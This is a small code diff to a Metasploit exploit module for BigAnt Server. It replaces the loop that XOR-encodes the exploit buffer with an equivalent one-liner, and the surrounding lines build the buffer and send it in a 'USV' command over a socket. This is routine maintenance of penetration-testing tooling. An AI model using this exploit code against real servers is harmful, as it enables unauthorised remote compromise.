diff --git a/modules/exploits/windows/misc/bigant_server_usv.rb b/modules/exploits/windows/misc/bigant_server_usv.rb
index f92858e8b1..b149ea1117 100644
--- a/modules/exploits/windows/misc/bigant_server_usv.rb
+++ b/modules/exploits/windows/misc/bigant_server_usv.rb
@@ -76,9 +76,7 @@ class Metasploit3 < Msf::Exploit::Remote
 		sploit << [0xdeadbeef].pack('V') * 3
 
 		# the buffer gets xor'd with 0x2a !
-		0.upto(sploit.length-1) do |idx|
-			sploit[idx] = sploit[idx] ^ 0x2a
-		end
+		sploit = sploit.unpack("C*").map{|c| c ^ 0x2a}.pack("C*")
 
 		print_status("Trying target #{target.name}...")
 		sock.put("USV " + sploit + "\r\n\r\n")
@@ -88,3 +86,4 @@ class Metasploit3 < Msf::Exploit::Remote
 	end
 
 end
+